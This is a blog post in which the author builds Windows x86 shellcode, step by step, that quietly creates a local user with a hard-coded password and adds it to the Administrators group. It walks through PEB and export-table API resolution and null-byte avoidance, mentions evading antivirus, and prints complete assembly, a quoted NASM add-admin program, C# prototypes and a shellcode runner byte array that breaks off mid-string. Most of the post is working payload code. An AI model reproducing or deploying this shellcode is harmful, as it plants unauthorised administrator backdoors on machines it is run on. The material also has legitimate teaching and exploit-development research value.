Shellcode – Windows/x86 – Create Administrator User – Dynamic PEB & EDT

Posted on January 18, 2023 by Xavi

Hello everyone,

Recently I’ve been learning about Windows x86 shellcoding and I decided to write a shellcode by my own.

My idea was to write a shellcode that creates a new user and make it local administrator. You can find the final version of the shellcode here:

https://www.exploit-db.com/shellcodes/51208

In this blog post I will explain how I created this shellcode step by step.

Since I had only experience writing linux shellcode, I thought that I just needed to identify the correct syscall numbers and make the proper calls, but after some research I realized that if I do it that way, the shellcode won’t work in other OS versions.

First of all, let’s cover how to make portable shellcodes in Windows.

Shellcoding in Windows – System Calls

The main problem here is that Windows system call numbers may vary between OS versions.

To see this, we can go to the following webpage:
https://j00ru.vexillium.org/syscalls/nt/32/

Every row is the result for a different system call, as you can see it changes a between OS versions:

To avoid hardcoding the system calls numbers and prevent the shellcode being OS version dependent, there are different techniques like the following ones:

  • Locate the Process Environmental Block (PEB) structure.
  • Structured Exception Handler (SEH)
  • “Top Stack” method

For this blog post I will use the PEB technique, the other two are less portable and may not work on modern versions of Windows.

Is not the purpose of this post to cover the theory behind this technique, you can read all the details here:
https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode

Once we located the PEB, we will need to resolve symbols from kernel32.dll (and other DLLs), to do that we will use the Export Directory Table method.
https://mohamed-fakroud.gitbook.io/red-teamings-dojo/shellcoding/leveraging-from-pe-parsing-technique-to-write-x86-shellcode

Win32 API calls

Another topic that was important to think about before starting coding was the different options that I had to make the shellcode work:

Option 1) Execute a new process and execute the following command:

cmd.exe /c "net user xavi /add && net localgroup administrators xavi /add"

Option 2) Use Win32 API calls
https://learn.microsoft.com/en-us/windows/win32/api/_netmgmt/

The option 2 from my point of view is better in order to avoid AV detections.

C# Code

Before implementing this in assembly, I wanted to write it in C#, the idea was to try to understand how to call this two functions:

  • NetUserAdd
  • NetLocalGroupAddMembers

This is the implementation:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Linq;
using BOOL = System.Boolean;
using DWORD = System.UInt32;
using LPWSTR = System.String;
using NET_API_STATUS = System.UInt32;

namespace adduser
{
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public struct USER_INFO_1
    {
        [MarshalAs(UnmanagedType.LPWStr)] public string sUsername;
        [MarshalAs(UnmanagedType.LPWStr)] public string sPassword;
        public uint uiPasswordAge;
        public uint uiPriv;
        [MarshalAs(UnmanagedType.LPWStr)] public string sHome_Dir;
        [MarshalAs(UnmanagedType.LPWStr)] public string sComment;
        public uint uiFlags;
        [MarshalAs(UnmanagedType.LPWStr)] public string sScript_Path;
    }

    struct LOCALGROUP_MEMBERS_INFO_3
    {
        [MarshalAs(UnmanagedType.LPWStr)]
        public string Domain;
    }
    internal class Program
    {
        // Constants
        //uiPriv
        const uint USER_PRIV_GUEST = 0;
        const uint USER_PRIV_USER = 1;
        const uint USER_PRIV_ADMIN = 2;

        //uiFlags (flags)
        const uint UF_DONT_EXPIRE_PASSWD = 0x10000;
        const uint UF_MNS_LOGON_ACCOUNT = 0x20000;
        const uint UF_SMARTCARD_REQUIRED = 0x40000;
        const uint UF_TRUSTED_FOR_DELEGATION = 0x80000;
        const uint UF_NOT_DELEGATED = 0x100000;
        const uint UF_USE_DES_KEY_ONLY = 0x200000;
        const uint UF_DONT_REQUIRE_PREAUTH = 0x400000;
        const uint UF_PASSWORD_EXPIRED = 0x800000;
        const uint UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000;
        const uint UF_NO_AUTH_DATA_REQUIRED = 0x2000000;
        const uint UF_PARTIAL_SECRETS_ACCOUNT = 0x4000000;
        const uint UF_USE_AES_KEYS = 0x8000000;

        //uiFlags (choice)
        const uint UF_TEMP_DUPLICATE_ACCOUNT = 0x0100;
        const uint UF_NORMAL_ACCOUNT = 0x0200;
        const uint UF_INTERDOMAIN_TRUST_ACCOUNT = 0x0800;
        const uint UF_WORKSTATION_TRUST_ACCOUNT = 0x1000;
        const uint UF_SERVER_TRUST_ACCOUNT = 0x2000;

        // NetUserAdd - NETAPI32.DLL
        [DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern int NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);

        // NetLocalGroupAddMembers - NETAPI32.DLL
        [DllImport("NetApi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern Int32 NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
        static void Main(string[] args)
        {
            // Add new local user
            UInt32 parm_err = 0;

            USER_INFO_1 ui = new USER_INFO_1();
            IntPtr bufptr = Marshal.AllocHGlobal(Marshal.SizeOf(ui));

            ui.sUsername = "revil";
            ui.sPassword = "Summer12345!";
            ui.uiPasswordAge = 0;
            ui.uiPriv = USER_PRIV_USER;
            ui.sHome_Dir = "";
            ui.sComment = "";
            ui.uiFlags = UF_NORMAL_ACCOUNT;
            ui.sScript_Path = "";

            Marshal.StructureToPtr(ui, bufptr, false);
            NetUserAdd(null, 1, bufptr, out parm_err);


            // Add the user to local administrators
            LOCALGROUP_MEMBERS_INFO_3 group;
            group.Domain = "revil";

            NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);


        }
    }
}

Start writing the shellcode

The following part of the shellcode is the main skeleton, I won’t explain it, because contains the implementation to locate kernel32, the load process, and the symbols location that I explained before.

start:
    mov ebp, esp                   ;
    add esp, 0xfffff9f0            ; To avoid null bytes

find_kernel32:
    xor ecx, ecx                   ; ECX = 0
    mov esi,fs:[ecx+30h]           ; ESI = &(PEB) ([FS:0x30])
    mov esi,[esi+0Ch]              ; ESI = PEB->Ldr
    mov esi,[esi+1Ch]              ; ESI = PEB->Ldr.InInitOrder

next_module:
    mov ebx, [esi+8h]              ; EBX = InInitOrder[X].base_address
    mov edi, [esi+20h]             ; EDI = InInitOrder[X].module_name
    mov esi, [esi]                 ; ESI = InInitOrder[X].flink (next)
    cmp [edi+12*2], cx             ; (unicode) modulename[12] == 0x00?
    jne next_module                ; No: try next module.

find_function_shorten:
    jmp find_function_shorten_bnc  ; Short jump

find_function_ret:
    pop esi                        ; POP the return address from the stack
    mov [ebp+0x04], esi            ; Save find_function address for later usage
    jmp resolve_symbols_kernel32   ;

find_function_shorten_bnc:         ;
    call find_function_ret         ; Relative CALL with negative offset

find_function:
    pushad                         ; Save all registers
    mov eax, [ebx+0x3c]            ; Offset to PE Signature
    mov edi, [ebx+eax+0x78]        ; Export Table Directory RVA
    add edi, ebx                   ; Export Table Directory VMA
    mov ecx, [edi+0x18]            ; NumberOfNames
    mov eax, [edi+0x20]            ; AddressOfNames RVA
    add eax, ebx                   ; AddressOfNames VMA
    mov [ebp-4], eax               ; Save AddressOfNames VMA for later use
	

find_function_loop:
    jecxz find_function_finished   ; Jump to the end if ECX is 0
    dec ecx                        ; Decrement our names counter
    mov eax, [ebp-4]               ; Restore AddressOfNames VMA
    mov esi, [eax+ecx*4]           ; Get the RVA of the symbol name
    add esi, ebx                   ; Set ESI to the VMA of the current symbol name
		
compute_hash:
    xor eax, eax                   ;
    cdq                            ; Null EDX
    cld                            ; Clear direction

compute_hash_again:
    lodsb                          ; Load the next byte from esi into al
    test al, al                    ; Check for NULL terminator
    jz compute_hash_finished       ; If the ZF is set, we've hit the NULL term
    ror edx, 0x0d                  ; Rotate edx 13 bits to the right
    add edx, eax                   ; Add the new byte to the accumulator
    jmp compute_hash_again         ; Next iteration

compute_hash_finished:

find_function_compare:
    cmp edx, [esp+0x24]            ; Compare the computed hash with the requested hash
    jnz find_function_loop         ; If it doesn't match go back to find_function_loop
    mov edx, [edi+0x24]            ; AddressOfNameOrdinals RVA
    add edx, ebx                   ; AddressOfNameOrdinals VMA
    mov cx, [edx+2*ecx]            ; Extrapolate the function's ordinal
    mov edx, [edi+0x1c]            ; AddressOfFunctions RVA
    add edx, ebx                   ; AddressOfFunctions VMA
    mov eax, [edx+4*ecx]           ; Get the function RVA
    add eax, ebx                   ; Get the function VMA
    mov [esp+0x1c], eax            ; Overwrite stack version of eax from pushad
		
find_function_finished:
    popad                          ; Restore registers
    ret                            ;

                                   ; Resolve kernel32 symbols
resolve_symbols_kernel32:
    push 0x78b5b983                ; Kernel 32 - TerminateProcess hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x10], eax            ; Save TerminateProcess address for later usage
    push 0xec0e4e8e                ; Kernel 32 - LoadLibraryA hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x14], eax            ; Save LoadLibraryA address for later usage

Locate NetUserAdd and NetLocalGroupAddMembers

Here comes the custom shellcode part. The first thing that we need to do is to locate the address of the DLL where these 2 functions are stored.

At the beggining I thought that this 2 functions where inside netapi32.dll but I was wrong, I couldn’t really find where they are so I decided to use an assembly code that executed this to see what dll was used. (thanks to Didier Stevens! 🙂 )

; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
;
; Build:
;   nasm -f win32 add-admin.asm
;   Microsoft linker:
;     link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
;       https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
;       /fixed -> no relocation section
;       /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
;       /filealign:256 -> smaller, but no valid exe
;   MinGW linker:
;     ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
;
; History:
;   2020/03/13
;   2020/03/14 refactor
;   2020/03/15 refactor
 
BITS 32
 
%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'
 
global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4
 
    struc USER_INFO_1
        .uName RESD 1
        .Password RESD 1
        .PasswordAge RESD 1
        .Privilege RESD 1
        .HomeDir RESD 1
        .Comment RESD 1
        .Flags RESD 1
        .ScriptPath RESD 1
    endstruc
     
    struc LOCALGROUP_MEMBERS_INFO_3
        .lgrmi3_domainandname RESD 1
    endstruc
 
    USER_PRIV_USER EQU 1
    UF_SCRIPT EQU 1
 
    section .text
_main:
    int3
    mov     ebp, esp
    sub     esp, 4
     
    ; NetUserAdd(NULL, level=1, buffer, NULL)
    lea     eax, [ebp-4]
    push    eax
    push    UI1
    push    1
    push    0
    call    _NetUserAdd@16
     
    ; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
    push    1
    push    LMI3
    push    3
    push    ADMINISTRATORS_UNICODE
    push    0
    call    _NetLocalGroupAddMembers@20
     
    ; ExitProcess(0)
    push    0
    call    _ExitProcess@4
 
; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
;   section .data
 
UI1:
    istruc USER_INFO_1
        at USER_INFO_1.uName, dd USERNAME_UNICODE
        at USER_INFO_1.Password, dd PASSWORD_UNICODE
        at USER_INFO_1.PasswordAge, dd 0
        at USER_INFO_1.Privilege, dd USER_PRIV_USER
        at USER_INFO_1.HomeDir, dd 0
        at USER_INFO_1.Comment, dd 0
        at USER_INFO_1.Flags, dd UF_SCRIPT
        at USER_INFO_1.ScriptPath, dd 0
    iend
 
USERNAME_UNICODE:
    db      __utf16le__(USERNAME), 0, 0
 
PASSWORD_UNICODE:
    db      __utf16le__(PASSWORD), 0, 0
 
ADMINISTRATORS_UNICODE:
    db      __utf16le__(ADMINISTRATORS), 0, 0
 
LMI3:
    istruc LOCALGROUP_MEMBERS_INFO_3
        at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE
    iend

I executed it, and passed it through WinDbg, I identified the name of the dll was “samcli.dll”.

To load this module, we can do it like this:

                                   ; LoadLibraryA - samcli.dll
load_samcli:
    xor eax, eax                   ;
    push eax                       ;
    mov ax, 0x6c6c                 ; # ll
    push eax                       ; 
    push 0x642e696c                ; d.il
    push 0x636d6173                ; cmas
    push esp                       ; Push ESP to have a pointer to the string
    call dword [ebp+0x14]          ; Call LoadLibraryA

Then we need to resolve the symbols that we need:

resolve_symbols_samcli:
                                   ; Samcli - NetUserAdd
    mov ebx, eax                   ; Move the base address of samcli.dll to EBX
    push 0xcd7cdf5e                ; NetUserAdd hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x1C], eax            ; Save NetUserAdd address for later usage
                                   ; Samcli - NetLocalGroupAddMembers
    push 0xc30c3dd7                ; NetLocalGroupAddMembers hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x20], eax            ; Save NetLocalGroupAddMembers address for later usage

At this point we have stored all the addresses that we need to implement the shellcode, we are ready to continue.

Create the user

As an initial setup, we put a 0 in eax and a 1 in ebx:

execute_shellcode:
                                    ; Useful registers
    xor eax, eax                   ; eax = 0
    xor ebx, ebx                   ;
    inc ebx                        ; ebx = 1

Save strings and create the structure

Then we push the administrators string to the stack and save it for a later use.

Here we are going to see a couple of “special” things.

The first one, is that the strings that we are pushing needs to be backwards, this is because they are in little endian.

The second one, is that we need to push unicode values, so we are going to need to use null bytes:

push 0x00730072 ; sr

To avoid using null bytes, we can do use negative values.

Let’s do this math operation:

0x0 - 0x00730072 = 0xff8cff8e

Save the negative value in edx, and negate it:

    mov edx, 0xff8cff8e            ;
    neg edx                        ;
    push edx                       ;

This is the complete piece of code for this part:

                                   ; Group - Administrators
    push eax                       ; string delimiter
                                   ; push 0x00730072 ; sr
    mov edx, 0xff8cff8e            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x006f0074 ; ot
    mov edx, 0xff90ff8c            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00610072 ; ar
    mov edx, 0xff9eff8e            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00740073 ; ts
    mov edx, 0xff8bff8d            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x0069006e ; in
    mov edx, 0xff96ff92            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x0069006d ; im
    mov edx, 0xff96ff93            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00640041 ; dA
    mov edx, 0xff9bffbf            ;
    neg edx                        ;
    push edx                       ;

    mov [ebp+0x24], esp            ; store groupname in [esi]

Next step is to save the username:

                                   ; Username - xavi
    push eax                       ; string delimiter
                                   ; push 0x00690076 ; iv	
    mov edx, 0xff96ff8a            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00610078 ; xa
    mov edx, 0xff9eff88            ;
    neg edx                        ;
    push edx                       ;

    mov ecx, esp                   ; Pointer to the string
    mov [ebp+0x28], ecx            ; store username in [esi+4]

And after the username, the password:

                                   ; Password - Summer12345!
    push eax                       ; string delimiter
                                   ; push 0x00210035 ; !5
    mov edx, 0xffdeffcb            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00340033 ; 43
    mov edx, 0xffcbffcd            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00320031 ; 21
    mov edx, 0xffcdffcf            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00720065 ; re 
    mov edx, 0xff8dff9b            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x006d006d ; mm
    mov edx, 0xff92ff93            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00750053 ; uS
    mov edx, 0xff8affad            ;
    neg edx                        ;
    push edx                       ;

    mov edx, esp                   ; store password in edx

Then we can create the USER_INFO_1 structure in the stack:

                                   ; USER_INFO_1 structure
    push eax                       ; 0 - sScript_Path
    push ebx                       ; 1 - uiFlags
    push eax                       ; 0 - sComment
    push eax                       ; 0 - sHome_Dir
    push ebx                       ; 1 - uiPriv = USER_PRIV_USER = 1
    push eax                       ; 0 - uiPasswordAge
    push edx                       ; str - sPassword
    push ecx                       ; str - sUsername
    mov ecx, esp                   ;

Finally, we push the specified variables in the stack, and make the system call:

                                   ; NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
                                   ; NetUserAdd(null, 1, bufptr, out parm_err);
    push eax                       ; 0 - parm_err
    push esp                       ; pointer to USER_INFO_1 structure ?
    push ecx                       ; USER_INFO_1 - UserInfo		
    push ebx                       ; 1 - level	
    push eax                       ; 0 - servername

    call dword [ebp+0x1C]          ; NetUserAdd - System Call

Add the user to administrators group

Now that we created the user correctly, we need to add it to the administrators group.

Again, we need to create the required structure first:

                                   ; LOCALGROUP_MEMBERS_INFO_3 structure
    mov ecx, [ebp+0x28]            ; Domain = Username
    push ecx                       ;
    mov ecx, esp                   ; Save a pointer to Username

Then we push the required variables to the stack and make the system call:

                                   ; NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
                                   ; NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
    push ebx                       ; 1 - totalentries 
    push ecx                       ; LOCALGROUP_MEMBERS_INFO_3 - username
    push 3                         ; 3 - level 3 means that we are using the structure LOCALGROUP_MEMBERS_INFO_3
    push dword [ebp+0x24]          ; str - groupname
    push eax                       ; 0 - servername

    call dword [ebp+0x20]          ; NetLocalGroupAddMembers - System Call

The last step is to setup a 0 in eax, push it and call Exit Process.

    xor eax, eax                   ;
    push eax                       ; return 0

    call dword [ebp+0x10]          ; ExitProcess - System Call

Debugging shellcode execution

I’m going to use python keystone module to, but I could directly load the compiled assembly in WinDbg.

I execute the python module that loads the shellcode:

And I attach WinDbg to it.

I setup a breakpoint here:

Finding kernel32

And I want to verify that I locate kernel32 address correctly. After 3 iterations in the loop the shellcode finds kernel32 address:

Finding symbols

Then I setup another breakpoint at the end of the find function. I want to verify that the shellcode finds the symbols addresses correctly too:

And it does:

Also, it founds correctly the address of the NetUserAdd and the NetLocalGroupAddMembers symbols:

At this point, all the relevant memory addresses are located and stored in registers. We are ready to execute the system calls.

NetUserAdd

First we push the group name:

Then the user:

After that, the password:

And we setup the variables in the stack, to do the first call. This is how the stack looks like before executing the system call:

I continue the execution, and I see that the system call returns 00000000 to eax register, this means that it was executed without errors:

So now, we have a new user in the sytem, called xavi:

NetLocalGroupAddMembers

This is how the stack looks like before the next system call:

I continue the execution, and I see again that in eax we have a 00000000. So these are good news:

I check it, and there is a new local admin 🙂

ExitProcess

The last system call is the Exit Process one, it works fine too:

Final shellcode

So that’s all for this blog entry, you can find below the complete shellcode.

See you soon! And Happy Hacking 🙂

; Title: Name: Windows/x86 - Create Administrator User / Dynamic PEB & EDT method null-free Shellcode (373 bytes)
; Author: Xavi Beltran
; Contact: xavibeltran@protonmail.com
; Website: https://xavibel.com/2023/01/18/shellcode-windows-x86-create-administrator-user-dynamic-peb-edt/
; Date: 18/01/2022
; Tested on: Microsoft Windows Version 10.0.19045

; Description:
; This is a shellcode that creates a new user named "xavi" with password "Summer12345!". Then adds this user to administrators group.
; In order to accomplish this task the shellcode uses the PEB method to locate the baseAddress of the modules and then Export Directory Table to locate the symbols.
; The shellcodes perform 3 different calls:
; - NetUserAdd
; - NetLocalGroupAddMembers
; - ExitProcess

####################################### adduser.asm  #######################################

start:
    mov ebp, esp                   ;
    add esp, 0xfffff9f0            ; To avoid null bytes

find_kernel32:
    xor ecx, ecx                   ; ECX = 0
    mov esi,fs:[ecx+30h]           ; ESI = &(PEB) ([FS:0x30])
    mov esi,[esi+0Ch]              ; ESI = PEB->Ldr
    mov esi,[esi+1Ch]              ; ESI = PEB->Ldr.InInitOrder

next_module:
    mov ebx, [esi+8h]              ; EBX = InInitOrder[X].base_address
    mov edi, [esi+20h]             ; EDI = InInitOrder[X].module_name
    mov esi, [esi]                 ; ESI = InInitOrder[X].flink (next)
    cmp [edi+12*2], cx             ; (unicode) modulename[12] == 0x00?
    jne next_module                ; No: try next module.

find_function_shorten:
    jmp find_function_shorten_bnc  ; Short jump

find_function_ret:
    pop esi                        ; POP the return address from the stack
    mov [ebp+0x04], esi            ; Save find_function address for later usage
    jmp resolve_symbols_kernel32   ;

find_function_shorten_bnc:         ;
    call find_function_ret         ; Relative CALL with negative offset

find_function:
    pushad                         ; Save all registers
    mov eax, [ebx+0x3c]            ; Offset to PE Signature
    mov edi, [ebx+eax+0x78]        ; Export Table Directory RVA
    add edi, ebx                   ; Export Table Directory VMA
    mov ecx, [edi+0x18]            ; NumberOfNames
    mov eax, [edi+0x20]            ; AddressOfNames RVA
    add eax, ebx                   ; AddressOfNames VMA
    mov [ebp-4], eax               ; Save AddressOfNames VMA for later use
	

find_function_loop:
    jecxz find_function_finished   ; Jump to the end if ECX is 0
    dec ecx                        ; Decrement our names counter
    mov eax, [ebp-4]               ; Restore AddressOfNames VMA
    mov esi, [eax+ecx*4]           ; Get the RVA of the symbol name
    add esi, ebx                   ; Set ESI to the VMA of the current symbol name
		
compute_hash:
    xor eax, eax                   ;
    cdq                            ; Null EDX
    cld                            ; Clear direction

compute_hash_again:
    lodsb                          ; Load the next byte from esi into al
    test al, al                    ; Check for NULL terminator
    jz compute_hash_finished       ; If the ZF is set, we've hit the NULL term
    ror edx, 0x0d                  ; Rotate edx 13 bits to the right
    add edx, eax                   ; Add the new byte to the accumulator
    jmp compute_hash_again         ; Next iteration

compute_hash_finished:

find_function_compare:
    cmp edx, [esp+0x24]            ; Compare the computed hash with the requested hash
    jnz find_function_loop         ; If it doesn't match go back to find_function_loop
    mov edx, [edi+0x24]            ; AddressOfNameOrdinals RVA
    add edx, ebx                   ; AddressOfNameOrdinals VMA
    mov cx, [edx+2*ecx]            ; Extrapolate the function's ordinal
    mov edx, [edi+0x1c]            ; AddressOfFunctions RVA
    add edx, ebx                   ; AddressOfFunctions VMA
    mov eax, [edx+4*ecx]           ; Get the function RVA
    add eax, ebx                   ; Get the function VMA
    mov [esp+0x1c], eax            ; Overwrite stack version of eax from pushad
		
find_function_finished:
    popad                          ; Restore registers
    ret                            ;

                                   ; Resolve kernel32 symbols
resolve_symbols_kernel32:
    push 0x78b5b983                ; Kernel 32 - TerminateProcess hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x10], eax            ; Save TerminateProcess address for later usage
    push 0xec0e4e8e                ; Kernel 32 - LoadLibraryA hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x14], eax            ; Save LoadLibraryA address for later usage

                                   ; LoadLibraryA - samcli.dll
load_samcli:
    xor eax, eax                   ;
    push eax                       ;
    mov ax, 0x6c6c                 ; # ll
    push eax                       ; 
    push 0x642e696c                ; d.il
    push 0x636d6173                ; cmas
    push esp                       ; Push ESP to have a pointer to the string
    call dword [ebp+0x14]          ; Call LoadLibraryA

                                   ; Resolve samcli.dll symbols
resolve_symbols_samcli:
                                   ; Samcli - NetUserAdd
    mov ebx, eax                   ; Move the base address of samcli.dll to EBX
    push 0xcd7cdf5e                ; NetUserAdd hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x1C], eax            ; Save NetUserAdd address for later usage
                                   ; Samcli - NetLocalGroupAddMembers
    push 0xc30c3dd7                ; NetLocalGroupAddMembers hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x20], eax            ; Save NetLocalGroupAddMembers address for later usage

execute_shellcode:
                                    ; Useful registers
    xor eax, eax                   ; eax = 0
    xor ebx, ebx                   ;
    inc ebx                        ; ebx = 1

                                   ; Group - Administrators
    push eax                       ; string delimiter
                                   ; push 0x00730072 ; sr
    mov edx, 0xff8cff8e            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x006f0074 ; ot
    mov edx, 0xff90ff8c            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00610072 ; ar
    mov edx, 0xff9eff8e            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00740073 ; ts
    mov edx, 0xff8bff8d            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x0069006e ; in
    mov edx, 0xff96ff92            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x0069006d ; im
    mov edx, 0xff96ff93            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00640041 ; dA
    mov edx, 0xff9bffbf            ;
    neg edx                        ;
    push edx                       ;

    mov [ebp+0x24], esp            ; store groupname in [esi]

                                   ; Username - xavi
    push eax                       ; string delimiter
                                   ; push 0x00690076 ; iv	
    mov edx, 0xff96ff8a            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00610078 ; xa
    mov edx, 0xff9eff88            ;
    neg edx                        ;
    push edx                       ;

    mov ecx, esp                   ; Pointer to the string
    mov [ebp+0x28], ecx            ; store username in [esi+4]

                                   ; Password - Summer12345!
    push eax                       ; string delimiter
                                   ; push 0x00210035 ; !5
    mov edx, 0xffdeffcb            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00340033 ; 43
    mov edx, 0xffcbffcd            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00320031 ; 21
    mov edx, 0xffcdffcf            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00720065 ; re 
    mov edx, 0xff8dff9b            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x006d006d ; mm
    mov edx, 0xff92ff93            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00750053 ; uS
    mov edx, 0xff8affad            ;
    neg edx                        ;
    push edx                       ;

    mov edx, esp                   ; store password in edx

                                   ; USER_INFO_1 structure
    push eax                       ; 0 - sScript_Path
    push ebx                       ; 1 - uiFlags
    push eax                       ; 0 - sComment
    push eax                       ; 0 - sHome_Dir
    push ebx                       ; 1 - uiPriv = USER_PRIV_USER = 1
    push eax                       ; 0 - uiPasswordAge
    push edx                       ; str - sPassword
    push ecx                       ; str - sUsername
    mov ecx, esp                   ;

                                   ; NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
                                   ; NetUserAdd(null, 1, bufptr, out parm_err);
    push eax                       ; 0 - parm_err
    push esp                       ; pointer to USER_INFO_1 structure ?
    push ecx                       ; USER_INFO_1 - UserInfo		
    push ebx                       ; 1 - level	
    push eax                       ; 0 - servername

    call dword [ebp+0x1C]          ; NetUserAdd - System Call

                                   ; LOCALGROUP_MEMBERS_INFO_3 structure
    mov ecx, [ebp+0x28]            ; Domain = Username
    push ecx                       ;
    mov ecx, esp                   ; Save a pointer to Username

                                   ; NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
                                   ; NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
    push ebx                       ; 1 - totalentries 
    push ecx                       ; LOCALGROUP_MEMBERS_INFO_3 - username
    push 3                         ; 3 - level 3 means that we are using the structure LOCALGROUP_MEMBERS_INFO_3
    push dword [ebp+0x24]          ; str - groupname
    push eax                       ; 0 - servername

    call dword [ebp+0x20]          ; NetLocalGroupAddMembers - System Call

    xor eax, eax                   ;
    push eax                       ; return 0

    call dword [ebp+0x10]          ; ExitProcess - System Call


####################################### shellcode.c  #######################################

/*

 Shellcode runner author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char payload[] = 
    "\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c" 
    "\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04" 
    "\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18" 
    "\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31" 
    "\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75" 
    "\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8" 
    "\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e" 
    "\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x50\x66\xb8\x6c\x6c\x50\x68\x6c\x69\x2e" 
    "\x64\x68\x73\x61\x6d\x63\x54\xff\x55\x14\x89\xc3\x68\x5e\xdf\x7c\xcd\xff\x55\x04" 
    "\x89\x45\x1c\x68\xd7\x3d\x0c\xc3\xff\x55\x04\x89\x45\x20\x31\xc0\x31\xdb\x43\x50"
    "\xba\x8e\xff\x8c\xff\xf7\xda\x52\xba\x8c\xff\x90\xff\xf7\xda\x52\xba\x8e\xff\x9e" 
    "\xff\xf7\xda\x52\xba\x8d\xff\x8b\xff\xf7\xda\x52\xba\x92\xff\x96\xff\xf7\xda\x52" 
    "\xba\x93\xff\x96\xff\xf7\xda\x52\xba\xbf\xff\x9b\xff\xf7\xda\x52\x89\x65\x24\x50" 
    "\xba\x8a\xff\x96\xff\xf7\xda\x52\xba\x88\xff\x9e\xff\xf7\xda\x52\x89\xe1\x89\x4d" 
    "\x28\x50\xba\xcb\xff\xde\xff\xf7\xda\x52\xba\xcd\xff\xcb\xff\xf7\xda\x52\xba\xcf" 
    "\xff\xcd\xff\xf7\xda\x52\xba\x9b\xff\x8d\xff\xf7\xda\x52\xba\x93\xff\x92\xff\xf7"
